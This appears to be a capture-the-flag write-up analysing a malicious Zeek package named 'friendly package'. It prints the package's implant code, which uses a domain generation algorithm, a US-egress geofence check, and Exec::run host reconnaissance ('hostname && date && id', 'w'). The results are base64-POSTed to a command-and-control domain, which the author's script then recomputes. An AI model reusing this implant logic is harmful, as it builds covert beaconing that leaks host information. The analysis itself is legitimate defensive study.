A junior sensor admin was reading through the Zeek Package Source and came across this package. The package is named "friendly package" but is everything but friendly.
The junior admin loaded the package on her zeek sensor on 31 Aug 2020.
At 1598890299 the zeek sensor beaconed to a malicious command and control domain with sensitive host information.
The flag is the domain name which was beaconed to.
Yikes that formatting lets clean that up. Trying to hide beyond the column character limit, nice try.
Looks like we have more base64 files to expand out and write.
So we are looking for something that will beacon out. Sounds like an http post to me.
We have our POST. But it is dynamically creating the url based on the time of day. Remember the hint. It happened at 1598890299. So lets back into that domain name
@load ./get-command
@load ./scan-files
@load ./inject-pkt
redef exit_only_after_terminate = T;
function GLOBAL::dga(): string {
local t = current_time();
local seed = double_to_count(floor(time_to_double(t))) % 864000;
local controller = "";
for (i in fmt("%s", seed)) {
local n = to_int(i);
controller += "abcdefghijklmnopqrstuVwxyZ"[n];
}
controller = controller[:-3];
controller += ".com";
return controller;
}
function GLOBAL::register(vs: vector of string) {
local c2 = dga();
local req = [$url=fmt("https://%s/new", c2),
$method="POST",
$client_data=encode_base64(join_string_vec(vs, "|"))];
print "prepared implant check-in...";
print req;
}
function GLOBAL::gather() {
when (local result1 = Exec::run([$cmd=fmt("hostname && date && id")])) {
local hn = result1$stdout[0];
local da = result1$stdout[1];
local id = result1$stdout[2];
when (local result2 = Exec::run([$cmd=fmt("w")])) {
local up = split_string(sub(split_string(result2$stdout[0], / /)[3], / /, ""), /:/);
# Gather host stats only if executing on a system that's been up for over 1 hr
if (to_int(up[0]) > 1) {
local wh = join_string_vec(result2$stdout, "|");
register(vector(hn, da, id, wh));
}
}
}
}
function GLOBAL::orient() {
local req = [$url="https://api.myip.com/", $method="GET"];
when (local response = ActiveHTTP::request(req)) {
# Only do stuff if we are executing from system with egress IP located in the US
if (sub(sub(split_string(response$body, /,/)[2], /\"cc\":\"/, ""), /\"\}/, "") == "US") {
gather();
}
} timeout 1min {
return;
}
}
event zeek_init () {
orient();
}
event zeek_init() {
local t: time = double_to_time(1598890299.0);
local seed = double_to_count(floor(time_to_double(t))) % 864000;
local controller = "";
for (i in fmt("%s", seed)) {
local n = to_int(i);
controller += "abcdefghijklmnopqrstuVwxyZ"[n];
}
controller = controller[:-3];
controller += ".com";
print(controller);
}